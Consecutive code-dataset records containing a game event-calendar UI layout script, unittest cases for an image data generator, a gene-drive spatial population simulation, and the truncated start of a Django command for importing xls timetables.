\"float\",),\n\n\t\"x\" : SCREEN_WIDTH - 160 - IN_GAME_UI_WIDTH,\n\t\"y\" : 15,\n\t\n\t\"width\" : IN_GAME_UI_WIDTH,\n\t\"height\" : 100,\n\n\t\"children\" :\n\t[\n\t\t{\n\t\t\t\"name\" : \"board\",\n\t\t\t\"type\" : \"board\",\n\t\t\t\"style\" : (\"attach\",),\n\n\t\t\t\"x\" : 0,\n\t\t\t\"y\" : 0,\n\n\t\t\t\"width\" : IN_GAME_UI_WIDTH,\n\t\t\t\"height\" : 100,\n\n\t\t\t\"children\" :\n\t\t\t[\n\t\t\t\t#TitleBar\n\t\t\t\t{\n\t\t\t\t\t\"name\" : \"Event_Title_Bar\", \"type\" : \"titlebar\", \"x\" : 0, \"y\" : 5, \"width\" : IN_GAME_UI_WIDTH - 5, \"height\" : 21, \"style\" : (\"attach\",),\n\t\t\t\t\t\"children\" :\n\t\t\t\t\t(\n\t\t\t\t\t\t{\"name\":\"TitleName\", \"type\":\"text\", \"x\":0, \"y\":0, \"text\":uiScriptLocale.EVENT_ALARM_TITLE, \"all_align\" : \"center\"},\n\t\t\t\t\t),\n\t\t\t\t},\n\t\t\t\t\n\t\t\t\t{\n\t\t\t\t\t\"name\" : \"calendar_board_window\",\n\t\t\t\t\t\"type\" : \"window\",\n\t\t\t\t\t\"style\" : (\"attach\",),\n\t\t\t\t\t\n\t\t\t\t\t\"x\" : 7,\n\t\t\t\t\t\"y\" : 25,\n\t\t\t\t\t\n\t\t\t\t\t\"width\" : CALENDAR_UI_WIDTH,\n\t\t\t\t\t\"height\" : 65,\n\t\t\t\t\t\n\t\t\t\t\t\"children\" :\n\t\t\t\t\t[\n\t\t\t\t\t\t## LeftTop 1\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"name\" : \"LeftTop\",\n\t\t\t\t\t\t\t\"type\" : \"image\",\n\t\t\t\t\t\t\t\"x\" : 0,\n\t\t\t\t\t\t\t\"y\" : 0,\n\t\t\t\t\t\t\t\"image\" : BOARD_PATH + \"lefttop.sub\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\t## RightTop 2\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"name\" : \"RightTop\",\n\t\t\t\t\t\t\t\"type\" : \"image\",\n\t\t\t\t\t\t\t\"x\" : CALENDAR_UI_WIDTH - 17,\n\t\t\t\t\t\t\t\"y\" : 0,\n\t\t\t\t\t\t\t\"image\" : BOARD_PATH + \"righttop.sub\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\t## LeftBottom 3\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"name\" : \"LeftBottom\",\n\t\t\t\t\t\t\t\"type\" : \"image\",\n\t\t\t\t\t\t\t\"x\" : 0,\n\t\t\t\t\t\t\t\"y\" : 65 - 16,\n\t\t\t\t\t\t\t\"image\" : BOARD_PATH + \"leftbottom.sub\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\t## RightBottom 4\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"name\" : \"RightBottom\",\n\t\t\t\t\t\t\t\"type\" : \"image\",\n\t\t\t\t\t\t\t\"x\" : CALENDAR_UI_WIDTH - 17,\n\t\t\t\t\t\t\t\"y\" : 65 - 16,\n\t\t\t\t\t\t\t\"image\" : BOARD_PATH + \"rightbottom.sub\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\t## topcenterImg 5\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"name\" : \"TopCenterImg\",\n\t\t\t\t\t\t\t\"type\" : \"expanded_image\",\n\t\t\t\t\t\t\t\"x\" : 16,\n\t\t\t\t\t\t\t\"y\" : 0,\n\t\t\t\t\t\t\t\"image\" : BOARD_PATH + \"topcenterImg.tga\",\n\t\t\t\t\t\t\t\"rect\" : (0.0, 0.0, 16.9, 0),\n\t\t\t\t\t\t},\n\t\t\t\t\t\t## leftcenterImg 6\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"name\" : \"LeftCenterImg\",\n\t\t\t\t\t\t\t\"type\" : \"expanded_image\",\n\t\t\t\t\t\t\t\"x\" : 0,\n\t\t\t\t\t\t\t\"y\" : 16,\n\t\t\t\t\t\t\t\"image\" : BOARD_PATH + \"leftcenterImg.tga\",\n\t\t\t\t\t\t\t\"rect\" : (0.0, 0.0, 0, 1),\n\t\t\t\t\t\t},\n\t\t\t\t\t\t## rightcenterImg 7\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"name\" : \"RightCenterImg\",\n\t\t\t\t\t\t\t\"type\" : \"expanded_image\",\n\t\t\t\t\t\t\t\"x\" : CALENDAR_UI_WIDTH - 18,\n\t\t\t\t\t\t\t\"y\" : 16,\n\t\t\t\t\t\t\t\"image\" : BOARD_PATH + \"rightcenterImg.tga\",\n\t\t\t\t\t\t\t\"rect\" : (0.0, 0.0, 0, 1),\n\t\t\t\t\t\t},\n\t\t\t\t\t\t## bottomcenterImg 8\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"name\" : \"BottomCenterImg\",\n\t\t\t\t\t\t\t\"type\" : \"expanded_image\",\n\t\t\t\t\t\t\t\"x\" : 16,\n\t\t\t\t\t\t\t\"y\" : 65 - 16,\n\t\t\t\t\t\t\t\"image\" : BOARD_PATH + \"bottomcenterImg.tga\",\n\t\t\t\t\t\t\t\"rect\" : (0.0, 0.0, 16.9, 0),\n\t\t\t\t\t\t},\n\t\t\t\t\t\t## centerImg\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"name\" : \"CenterImg\",\n\t\t\t\t\t\t\t\"type\" : \"expanded_image\",\n\t\t\t\t\t\t\t\"x\" : 16,\n\t\t\t\t\t\t\t\"y\" : 16,\n\t\t\t\t\t\t\t\"image\" : BOARD_PATH + \"centerImg.tga\",\n\t\t\t\t\t\t\t\"rect\" : (0.0, 0.0, 16, 1),\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\n\t\t\t\t\t\t#Calendar\n\t\t\t\t\t\t{ \"name\" : \"calendar_01\", \"type\" : \"expanded_image\", \"style\" : (\"attach\",), \"x_scale\" : 0.6, \"y_scale\" : 0.6, \"x\" : 3, \"y\" : 5, \"image\" : \"d:/ymir work/ui/minigame/attendance/attendance_disable_number1.sub\" },\n\t\t\t\t\t\t{ \"name\" : \"calendar_02\", \"type\" : \"expanded_image\", \"style\" : (\"attach\",), \"x_scale\" : 0.6, \"y_scale\" : 0.6, \"x\" : 48, \"y\" : 5, \"image\" : \"d:/ymir work/ui/minigame/attendance/attendance_disable_number2.sub\" },\n\t\t\t\t\t\t{ \"name\" : \"calendar_03\", \"type\" : \"expanded_image\", \"style\" : (\"attach\",), \"x_scale\" : 0.6, \"y_scale\" : 0.6, \"x\" : 93, \"y\" : 5, \"image\" : \"d:/ymir work/ui/minigame/attendance/attendance_disable_number3.sub\" },\n\t\t\t\t\t\t{ \"name\" : \"calendar_04\", \"type\" : \"expanded_image\", \"style\" : (\"attach\",), \"x_scale\" : 0.6, \"y_scale\" : 0.6, \"x\" : 138, \"y\" : 5, \"image\" : \"d:/ymir work/ui/minigame/attendance/attendance_disable_number4.sub\" },\n\t\t\t\t\t\t{ \"name\" : \"calendar_05\", \"type\" : \"expanded_image\", \"style\" : (\"attach\",), \"x_scale\" : 0.6, \"y_scale\" : 0.6, \"x\" : 183, \"y\" : 5, \"image\" : \"d:/ymir work/ui/minigame/attendance/attendance_disable_number5.sub\" },\n\t\t\t\t\t\t{ \"name\" : \"calendar_06\", \"type\" : \"expanded_image\", \"style\" : (\"attach\",), \"x_scale\" : 0.6, \"y_scale\" : 0.6, \"x\" : 228, \"y\" : 5, \"image\" : \"d:/ymir work/ui/minigame/attendance/attendance_disable_number6.sub\" },\n\t\t\t\t\t\t{ \"name\" : \"calendar_07\", \"type\" : \"expanded_image\", \"style\" : (\"attach\",), \"x_scale\" : 0.6, \"y_scale\" : 0.6, \"x\" : 273, \"y\" : 5, \"image\" : \"d:/ymir work/ui/minigame/attendance/attendance_disable_number7.sub\" },\n\t\t\t\t\t\t\n\t\t\t\t\t\t#Calendar effect\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"name\" : \"calendar_effect\",\n\t\t\t\t\t\t\t\"type\" : \"ani_image\",\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\"x\" : 3,\n\t\t\t\t\t\t\t\"y\" : 5,\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\"x_scale\" : 0.65,\n\t\t\t\t\t\t\t\"y_scale\" : 0.65,\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\"delay\" : 5,\n\n\t\t\t\t\t\t\t\"images\" :\n\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t\"d:/ymir work/ui/minigame/attendance/number_effect/attendance_button_effect2.sub\",\n\t\t\t\t\t\t\t\t\"d:/ymir work/ui/minigame/attendance/number_effect/attendance_button_effect3.sub\",\n\t\t\t\t\t\t\t\t\"d:/ymir work/ui/minigame/attendance/number_effect/attendance_button_effect4.sub\",\n\t\t\t\t\t\t\t\t\"d:/ymir work/ui/minigame/attendance/number_effect/attendance_button_effect5.sub\",\n\t\t\t\t\t\t\t\t\"d:/ymir work/ui/minigame/attendance/number_effect/attendance_button_effect4.sub\",\n\t\t\t\t\t\t\t\t\"d:/ymir work/ui/minigame/attendance/number_effect/attendance_button_effect3.sub\",\n\t\t\t\t\t\t\t\t\"d:/ymir work/ui/minigame/attendance/number_effect/attendance_button_effect2.sub\",\n\t\t\t\t\t\t\t\t\"d:/ymir work/ui/minigame/attendance/number_effect/attendance_button_effect1.sub\",\n\t\t\t\t\t\t\t\t\"d:/ymir work/ui/minigame/attendance/number_effect/attendance_button_effect1.sub\",\n\t\t\t\t\t\t\t\t\"d:/ymir work/ui/minigame/attendance/number_effect/attendance_button_effect1.sub\",\n\t\t\t\t\t\t\t\t\"d:/ymir work/ui/minigame/attendance/number_effect/attendance_button_effect1.sub\",\n\t\t\t\t\t\t\t\t\"d:/ymir work/ui/minigame/attendance/number_effect/attendance_button_effect1.sub\",\n\t\t\t\t\t\t\t),\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"name\" : \"prev_button\",\n\t\t\t\t\t\t\t\"type\" : \"button\",\n\n\t\t\t\t\t\t\t\"x\" : CALENDAR_UI_WIDTH / 2 - 10 - 20,\n\t\t\t\t\t\t\t\"y\" : 46,\n\n\t\t\t\t\t\t\t\"tooltip_text\" : localeInfo.UI_PREVPAGE,\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\"default_image\" : \"d:/ymir work/ui/public/public_intro_btn/prev_btn_01.sub\",\n\t\t\t\t\t\t\t\"over_image\" : \"d:/ymir work/ui/public/public_intro_btn/prev_btn_01.sub\",\n\t\t\t\t\t\t\t\"down_image\" : \"d:/ymir work/ui/public/public_intro_btn/prev_btn_02.sub\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"name\" : \"next_button\",\n\t\t\t\t\t\t\t\"type\" : \"button\",\n\n\t\t\t\t\t\t\t\"x\" : CALENDAR_UI_WIDTH / 2 + 10,\n\t\t\t\t\t\t\t\"y\" : 46,\n\n\t\t\t\t\t\t\t\"tooltip_text\" : localeInfo.UI_NEXTPAGE,\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\"default_image\" : \"d:/ymir work/ui/public/public_intro_btn/next_btn_01.sub\",\n\t\t\t\t\t\t\t\"over_image\" : \"d:/ymir work/ui/public/public_intro_btn/next_btn_01.sub\",\n\t\t\t\t\t\t\t\"down_image\" : \"d:/ymir work/ui/public/public_intro_btn/next_btn_02.sub\",\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t},\n\t\t\t\t\n\t\t\t\t#EventBar\n\t\t\t\t{\n\t\t\t\t\t\"name\" : \"EventRewardBarWindow\", \n\t\t\t\t\t\"type\" : \"window\", \n\t\t\t\t\t\"style\" : (\"attach\",),\n\t\t\t\t\t\n\t\t\t\t\t\"x\" : 10, \n\t\t\t\t\t\"y\" : 95, \n\t\t\t\t\t\n\t\t\t\t\t\"width\" : 309, \n\t\t\t\t\t\"height\" : 21, \n\t\t\t\t\t\n\t\t\t\t\t\"children\" : \n\t\t\t\t\t[\n\t\t\t\t\t\t{ \"name\" : \"bg_menu_tab\", \"type\" : \"expanded_image\", \"style\" : (\"attach\",), \"x\" : 0, \"y\" : 0, \"image\" : \"d:/ymir work/ui/event/bg_menu_tab.sub\" },\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"name\" : \"Event_Name_Bar\", \"type\" : \"window\", \"x\" : 0, \"y\" : 0, \"width\" : 197-10, \"height\" : 21, \"style\" : (\"attach\",),\n\t\t\t\t\t\t\t\"children\" :\n\t\t\t\t\t\t\t[\n\t\t\t\t\t\t\t\t{\"name\":\"TitleName\", \"type\":\"text\", \"x\":0, \"y\":0, \"text\":uiScriptLocale.EVENT_NAME_TITLE, \"all_align\" : \"center\",},\n\t\t\t\t\t\t\t],\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"name\" : \"Event_Reward_Bar\", \"type\" : \"window\", \"x\" : 197, \"y\" : 0, \"width\" : 309 - 197 - 10, \"height\" : 21, \"style\" : (\"attach\",),\n\t\t\t\t\t\t\t\"children\" :\n\t\t\t\t\t\t\t[\n\t\t\t\t\t\t\t\t{\"name\":\"TitleName\", \"type\":\"text\", \"x\":0, \"y\":0, \"text\":uiScriptLocale.EVENT_REWARD_TITLE, \"all_align\" : \"center\",},\n\t\t\t\t\t\t\t],\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t],\n\t\t\t\t},\n\t\t\t],\n\t\t},\n\t],\n}","repo_name":"yigitbolukbasii/event-manager-125-euro-in-free","sub_path":"19.Event_Manager sonitex/Event Manager/Client/uiscript/eventoverviewwindow.py","file_name":"eventoverviewwindow.py","file_ext":"py","file_size_in_byte":7907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31125947774","text":"#Unittest\nimport unittest as ut\nfrom unittest.mock import MagicMock, PropertyMock\nfrom unittest.mock import patch as mock_patch\n\n#Argument parsing\nfrom argparse import ArgumentParser\n\n#Constants\nfrom common import ut_constants\nfrom common import constants\n\n#Numpy\nimport numpy as np\n\n#Image data generation\nfrom operation.image import ImageDataGeneration, ImageDataIterator\nfrom operation.input import InputParameters, TrainingParameters, ImageGenerationParameters\n\n#Data manipulations\nfrom pandas import DataFrame\nfrom pandas import read_csv\n\ncolumns = ['Anchor', 'Sample', 'Label']\ninput_data_df = DataFrame(\n [['0000e88ab.jpg', '0000e88ab.jpg', 1]],\n columns = columns)\ntrain_set_loc = ut_constants.TRAIN_STORE\ninput_tuples_file_name = 'input_tuples_p5_n5.tuples'\nmodel_name = 'model_name'\n\ninput_shape = (224, 224, 3)\nimage_cols = columns[:2]\nlabel_col = columns[-1]\n\ndef get_args():\n args = ArgumentParser()\n\n type(args).model_name = PropertyMock(return_value = model_name)\n type(args).dataset_location = PropertyMock(return_value = train_set_loc)\n\n type(args).input_data = PropertyMock(return_value = input_data_df)\n type(args).image_cols = PropertyMock(return_value = columns[:2])\n type(args).image_transform_cols = PropertyMock(return_value = columns[:2])\n type(args).label_col = PropertyMock(return_value = columns[-1])\n\n type(args).session_id = PropertyMock(return_value = 0)\n type(args).batch_size = PropertyMock(return_value = 1)\n type(args).image_cache_size = PropertyMock(return_value = 1024)\n type(args).number_of_epochs = PropertyMock(return_value = 1)\n\n type(args).validation_split = PropertyMock(return_value = 0.02)\n type(args).learning_rate = PropertyMock(return_value = 0.001)\n type(args).num_fit_images = PropertyMock(return_value = 20)\n\n type(args).num_prediction_steps = PropertyMock(return_value = 2)\n type(args).input_data_training_set_size = PropertyMock(return_value = 100)\n type(args).input_data_training_set_id = PropertyMock(return_value = 0)\n type(args).input_shape = PropertyMock(return_value = input_shape)\n\n return args\n\ndef get_input_and_image_generation_params():\n args = get_args()\n input_data_params = InputParameters(args)\n image_generation_params = ImageGenerationParameters(args)\n\n return input_data_params, image_generation_params\n\nclass TestImageDataGeneration(ut.TestCase):\n def __init__(self, *args, **kwargs):\n super(TestImageDataGeneration, self).__init__(*args, **kwargs)\n\n def test_init(self):\n #Arrange\n input_data_params, image_generation_params = get_input_and_image_generation_params()\n\n #With None transform columns\n _ = ImageDataGeneration(\n input_data_df,\n input_data_params,\n image_generation_params,\n transformer = None)\n\n def flow_transformer(self, transformer, image_transform_cols):\n #Arrange\n input_data_params, image_generation_params = get_input_and_image_generation_params()\n image_generation_params.image_transform_cols = image_transform_cols\n\n generator = ImageDataGeneration(\n input_data_df,\n input_data_params,\n image_generation_params,\n transformer = transformer)\n\n iterator = generator.flow()\n\n _ = iterator.__getitem__(0)\n\n def test_flow_transformer_called(self):\n #Create a mock transformer\n image_data_transformation = ut.mock.Mock()\n\n #Action\n self.flow_transformer(image_data_transformation, [image_cols[0]])\n\n #Assert\n image_data_transformation.transform.assert_called_once()\n\n def test_flow_transformer_not_called(self):\n #Create a mock transformer\n image_data_transformation = ut.mock.Mock()\n\n #Action\n self.flow_transformer(image_data_transformation, [])\n\n #Assert\n image_data_transformation.transform.assert_not_called()\n\n @classmethod\n def get_image_objects(cls, image_name):\n #Initial image object\n image = np.ones(input_shape)\n\n return {image_name: image}\n\n def get_generator(self, transformer = None):\n #Arrange\n input_data_params, image_generation_params = get_input_and_image_generation_params()\n\n #Image generator\n generator = ImageDataGeneration(\n input_data_df,\n input_data_params,\n image_generation_params,\n transformer = transformer)\n\n return generator\n\n @mock_patch.object(ImageDataGeneration, '_get_image_objects')\n def test_fit(self, get_image_objects_mock):\n #Mock transformer\n transformer = ut.mock.Mock()\n\n #Override _get_image_objects return value\n image_name = input_data_df.loc[0, 'Anchor']\n img_objs_map = TestImageDataGeneration.get_image_objects(image_name)\n get_image_objects_mock.return_value = img_objs_map\n\n #Image generator\n generator = self.get_generator(transformer)\n\n #Fit data\n generator.fit(n_images = 2)\n\n #Assert\n img_objs = np.reshape(img_objs_map[image_name], (1, ) + input_shape)\n transformer.fit.assert_called_once()\n np.testing.assert_array_equal(img_objs, transformer.fit.call_args[0][0])\n\n def get_input_tuple_df(self):\n input_tuples_file_path = ut_constants.TRAIN_STORE / input_tuples_file_name\n\n return read_csv(input_tuples_file_path)\n\n def validate_fit_output(self, subset, is_tuple):\n #Arrange\n generator = self.get_generator()\n\n #Override _get_image_objects return value\n image_name = input_data_df.loc[0, 'Anchor']\n img_objs_map = TestImageDataGeneration.get_image_objects(image_name)\n generator._get_image_objects = MagicMock()\n generator._get_image_objects.return_value = img_objs_map\n\n #Act\n iterator = generator.flow(subset = subset)\n values = iterator.__getitem__(0)\n\n #Assert\n if is_tuple:\n self.assertTrue(type(values) is tuple)\n self.assertEqual(2, len(values))\n else:\n self.assertFalse(type(values) is tuple)\n\n def test_fit_training_output(self):\n self.validate_fit_output('training', True)\n\n def test_fit_prediction_output(self):\n self.validate_fit_output('prediction', False)\n\n def validate_fit_calls(self, subset, calls_prediction):\n #Arrange\n generator = self.get_generator()\n\n #Override _get_image_objects return value\n generator._load_predict_phase_slice = MagicMock()\n generator._load_train_phase_slice = MagicMock()\n\n #Act\n iterator = generator.flow(subset = subset)\n _ = iterator.__getitem__(0)\n\n #Assert\n if calls_prediction:\n generator._load_train_phase_slice.assert_not_called()\n generator._load_predict_phase_slice.assert_called_once()\n else:\n generator._load_train_phase_slice.assert_called_once()\n generator._load_predict_phase_slice.assert_not_called()\n\n def test_fit_training_call(self):\n self.validate_fit_calls('training', False)\n\n def test_fit_prediction_call(self):\n self.validate_fit_calls('prediction', True)\n","repo_name":"NareshPS/humpback-whale","sub_path":"tests/image_test.py","file_name":"image_test.py","file_ext":"py","file_size_in_byte":7424,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"21755733751","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Nov 15 18:53:37 2022\n\n@author: lena\n\"\"\"\n\n### Librairies\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.sparse as sp\nimport scipy.sparse.linalg as la\n\n### Graphs parameters \n\nplt.rcParams.update({'font.family':'serif'})\nlabel_size = 12\nlegend_size = 10\n\n \n### Parameters\n \ndx = 1 # Spatial interval \nT = 1000 # Time at which simulation stops (it can stop earlier if one of the type disappear from the environment)\nm = 0.2 # Migration probability\ndt = np.round(m*dx**2/2,10) # Time interval\n\nconv_timing = \"ger\" # Conversion timing : \"ger\" or \"zyg\"\nr = 0.1 # Intrasic growth rate\nc = 0.9 # Conversion rate\nh = 0.4 # Dominance\n\nK_range = np.arange(4,9)\ns_range = np.arange(1,10,0.5)\n \nnb_drive = 100\ndiscrete = False\ndistance_matrix = np.zeros((len(K_range), len(s_range)))\n\nif discrete : print(\"\\nDiscrete\\n\")\nelse : print(\"\\nContinuous\\n\")\n\nfor i in range(0, len(K_range)):\n for j in range(len(s_range)) :\n\n K = 10**(K_range[i]) # Carrying capacity for a spatial interval of size 1\n s = np.round(0.1*(s_range[j]), 3)# Disadvantage for drive\n \n print(\"----- K =\", K, \", s =\", s)\n \n # Speed and space for the wave not to go outside the window \n s_1 = c/(1-h*(1-c)) \n s_2 = c/(2*c*h + h*(1-c))\n lin = c*(1-2*s*h)-(1-c)*s*h \n v_cont = 2*np.sqrt(lin)\n nb_sites = int(((v_cont*T*2/dx)//1000)*1000+1000)\n \n distance_nb = np.zeros(int((T//2)/dt))\n nb_save=0\n \n nD = np.zeros(nb_sites).astype(int); nD[:nb_sites//2] = K*dx\n nW = np.zeros(nb_sites).astype(int); nW[nb_sites//2:] = K*dx\n fD = np.zeros(nb_sites)\n fW = np.zeros(nb_sites)\n \n if not discrete :\n # Matrix\n theta = 0.5\n C0 = -2*np.ones(nb_sites-2); C0[0]=C0[0]+1; C0[-1]=C0[-1]+1 \n C1 = np.ones(nb_sites-2) \n A = sp.spdiags([C1,C0,C1],[-1,0,1], nb_sites-2, nb_sites-2) # 1D discrete Laplacian with Neumann boundary conditions (derivative=0) \n B = sp.identity(nb_sites-2)+((1-theta)*dt/dx**2)*A # Matrix for the explicit side of the Crank Nicholson scheme \n B_ = sp.identity(nb_sites-2)-(theta*dt/dx**2)*A # Matrix for the implicit side of the Crank Nicholson scheme \n \n \n ### Evolution in time\n \n for t in np.arange(0, T, dt): \n t = np.round(t,3) \n \n \n ### Stop the simulation if the wave goes outside the window \n \n if np.where(nD==max(nD))[0][0] > len(nD)-10 or t==T-dt : \n \n print(\"t =\",t)\n \n distance_nb = distance_nb[np.where(distance_nb!=0)[0]]\n print(\"distance =\", np.mean(distance_nb))\n distance_matrix[i,j] = np.mean(distance_nb)\n print(distance_matrix) \n \n # Save datas \n file = open(f\"dis_K_{int(np.log10(K))}_s_{s}.txt\", \"a\") \n file.write(f\"\\n{np.mean(distance_nb)}\") \n file.close() \n \n \n \n #if run == 0 : \n #fig, ax = plt.subplots()\n #bins = [x - 0.5 for x in range(0, nb_sites+1)]\n #plt.hist([np.arange(nb_sites), np.arange(nb_sites)], bins = bins, weights = [nD, nW], \n # histtype = 'barstacked', label = ['drive','wt'], color = ['crimson','cornflowerblue']) \n #ax.set(xlabel='Space', ylabel='Number of individuals', ylim = [0,1.1*K*dx])\n #ax.set_title(f\"Time {t}, K = 10^{int(np.log10(K))}, s = {s}\")\n #plt.legend(loc=\"upper left\")\n #plt.show()\n \n break\n \n \n if t > T/2 :\n distance_nb[nb_save] = (np.where(nW>nb_drive)[0][0] - np.where(nD>nb_drive)[0][0])*dx\n nb_save = nb_save+1\n \n \n if discrete: \n ### Birth and Death \n \n # Index for empty and non empty sites\n extinct_index = np.where(nD+nW==0)[0]\n survive_index = np.delete(np.arange(nb_sites), extinct_index)\n # For non empty site, the fecundity is given by the following.\n sv_pop = nD[survive_index] + nW[survive_index]; sv_nD = nD[survive_index]; sv_nW = nW[survive_index]\n \n if conv_timing == \"zyg\" :\n fD[survive_index] = ( 1 + r*(1-sv_pop/(K*dx)) ) * ( (1-s)*sv_nD + (1-s*h)*(1-c)*sv_nW +2*c*(1-s)*sv_nW ) /sv_pop\n fW[survive_index] = ( 1 + r*(1-sv_pop/(K*dx)) ) * ( (1-c)*(1-s*h)*sv_nD + sv_nW ) /sv_pop \n if conv_timing == \"ger\" : \n fD[survive_index] = ( 1 + r*(1-sv_pop/(K*dx)) ) * ( (1-s)*sv_nD + (1-s*h)*(1+c)*sv_nW ) /sv_pop\n fW[survive_index] = ( 1 + r*(1-sv_pop/(K*dx)) ) * ( (1-c)*(1-s*h)*sv_nD + sv_nW ) /sv_pop\n \n # For empty site, the fecundity is 0.\n fD[extinct_index] = 0\n fW[extinct_index] = 0\n # Check that all fecundity values are numbers.\n if len(np.argwhere(np.isnan(fD))) != 0 or len(np.argwhere(np.isnan(fW))) != 0 : \n print(\"Houston, we have a problem\")\n # Add births, substract deaths (mortality = 1)\n nD = nD + np.random.poisson(fD*nD*dt) - np.random.poisson(nD*dt) \n nW = nW + np.random.poisson(fW*nW*dt) - np.random.poisson(nW*dt)\n # Transform negative number of individuals into 0\n nD[np.where(nD<0)[0]]=0\n nW[np.where(nW<0)[0]]=0\n \n \n ### Migration \n \n # Number of migrants in each site\n nD_mig = np.random.binomial(nD,m)\n nW_mig = np.random.binomial(nW,m)\n # Half migrate to the right, half to the left\n nD_mig_left = np.random.binomial(nD_mig,0.5); nD_mig_right = nD_mig - nD_mig_left\n nW_mig_left = np.random.binomial(nW_mig,0.5); nW_mig_right = nW_mig - nW_mig_left\n # Substract the migrants leaving\n nD -= nD_mig \n nW -= nW_mig\n # ... except for those going outside the windows (they stay home)\n nD[0] += nD_mig_left[0]; nW[0] += nW_mig_left[0]\n nD[-1] += nD_mig_right[-1]; nW[-1] += nW_mig_right[-1]\n # Add the migrants in the neighboor sites\n nD[1:] += nD_mig_right[:-1]; nW[1:] += nW_mig_right[:-1] \n nD[:-1] += nD_mig_left[1:]; nW[:-1] += nW_mig_left[1:]\n \n else:\n # Index for empty and non empty sites\n extinct_index = np.where(nD+nW==0)[0]\n survive_index = np.delete(np.arange(nb_sites), extinct_index)\n # For non empty site, the fecundity is given by the following.\n sv_pop = nD[survive_index] + nW[survive_index]; sv_nD = nD[survive_index]; sv_nW = nW[survive_index]\n \n # For empty site, the fecundity is 0.\n fD[extinct_index] = 0\n fW[extinct_index] = 0\n \n #fD[survive_index] = sv_nD*((r*(K*dx-sv_pop)/(K*dx)+1)*((1-s)*(sv_nD/sv_pop)+(1-s*h)*(1+c)*(sv_nW/sv_pop))-1)\n #fW[survive_index] = sv_nW*((r*(K*dx-sv_pop)/(K*dx)+1)*((sv_nW/sv_pop)+(1-s*h)*(1-c)*(sv_nD/sv_pop))-1)\n \n \n fD[survive_index] = sv_nD*( ( 1 + r*(1-sv_pop/(K*dx)) ) * ( (1-s)*sv_nD + (1-s*h)*(1+c)*sv_nW ) /sv_pop - 1 )\n fW[survive_index] = sv_nW*( ( 1 + r*(1-sv_pop/(K*dx)) ) * ( (1-c)*(1-s*h)*sv_nD + sv_nW ) /sv_pop - 1 )\n \n \n nD[1:-1] = la.spsolve(B_, B.dot(nD[1:-1]) + dt*fD[1:-1])\n nW[1:-1] = la.spsolve(B_, B.dot(nW[1:-1]) + dt*fW[1:-1])\n \n nW[0] = nW[1]; nD[0] = nD[1] # Neumann condition alpha=0\n nW[-1] = nW[-2]; nD[-1] = nD[-2] # Neumann condition beta=0\n \n ### Graph \n\n graph = False\n if graph: \n fig, ax = plt.subplots()\n bins = [x - 0.5 for x in range(0, nb_sites+1)]\n plt.hist([np.arange(nb_sites), np.arange(nb_sites)], bins = bins, weights = [nD, nW], \n histtype = 'barstacked', label = ['drive','wt'], color = ['crimson','cornflowerblue']) \n ax.set(xlabel='Space', ylabel='Number of individuals', ylim = [0,1.1*K*dx])\n ax.set_title(f\"Time {t}\")\n plt.legend(loc=\"upper left\")\n plt.show()\n \n \ngraph = True\nif graph : \n col = [\"plum\", \"orchid\", \"m\", \"darkviolet\", \"indigo\", \"navy\"] \n fig, ax = plt.subplots()\n for i in (range(len(K_range)))[::-1]:\n ax.plot(s_range*0.1, distance_matrix[i,:], label = f\"$K=10^{int(K_range[i])}$\", color = col[i])\n ax.scatter(s_range*0.1, distance_matrix[i,:], alpha=0.5, color = col[i])\n ax.set(xlabel='s (fitness disadvantage for drive)', ylabel='Distance') \n ax.set_ylim([0,100])\n ax.xaxis.label.set_size(label_size)\n ax.yaxis.label.set_size(label_size)\n plt.rc('legend', fontsize=legend_size) \n plt.legend() \n fig.savefig(f\"distance_s.png\", format='png')\n plt.show()\n \n\nfile = open(f\"save_dis_{discrete}.txt\", \"a\") \nfile.write(f\"{distance_matrix}\") \nfile.close() \n","repo_name":"LenaKlay/gd_project_1","sub_path":"stochastic/migale/0_simu_migale_distance.py","file_name":"0_simu_migale_distance.py","file_ext":"py","file_size_in_byte":10429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70503615468","text":"from decimal import Decimal\nfrom xlrd import open_workbook\n\nfrom django.core.management.base import BaseCommand, CommandError\n\nfrom nau_timetable.models import (Subject, Lesson,\n Group, Teacher,\n Room, Building)\n\n\nclass Command(BaseCommand):\n \"\"\"docstring for Command\"\"\"\n\n help = 'Imports given xls file with schedule to db'\n\n def add_arguments(self, parser):\n parser.add_argument('xls_filenames', type=str, nargs='+')\n\n def handle(self, 